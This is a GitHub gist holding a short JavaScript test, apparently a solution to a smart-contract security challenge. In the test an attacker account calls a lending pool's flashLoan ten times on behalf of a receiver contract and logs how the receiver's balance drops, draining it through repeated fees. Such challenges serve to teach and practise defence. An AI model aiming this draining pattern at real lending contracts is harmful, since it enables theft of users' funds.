Created
July 9, 2022 20:48
-
-
Save JuanXavier/20d0fdcc4e70555bea38e9d87eec8cdd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| it('Exploit', async function () { | |
| /** CODE YOUR EXPLOIT HERE */ | |
| for (i = 1; i <= 10; i++) { | |
| await this.pool.connect(attacker).flashLoan(this.receiver.address, 0) | |
| console.log(i, String(await ethers.provider.getBalance(this.receiver.address))) | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment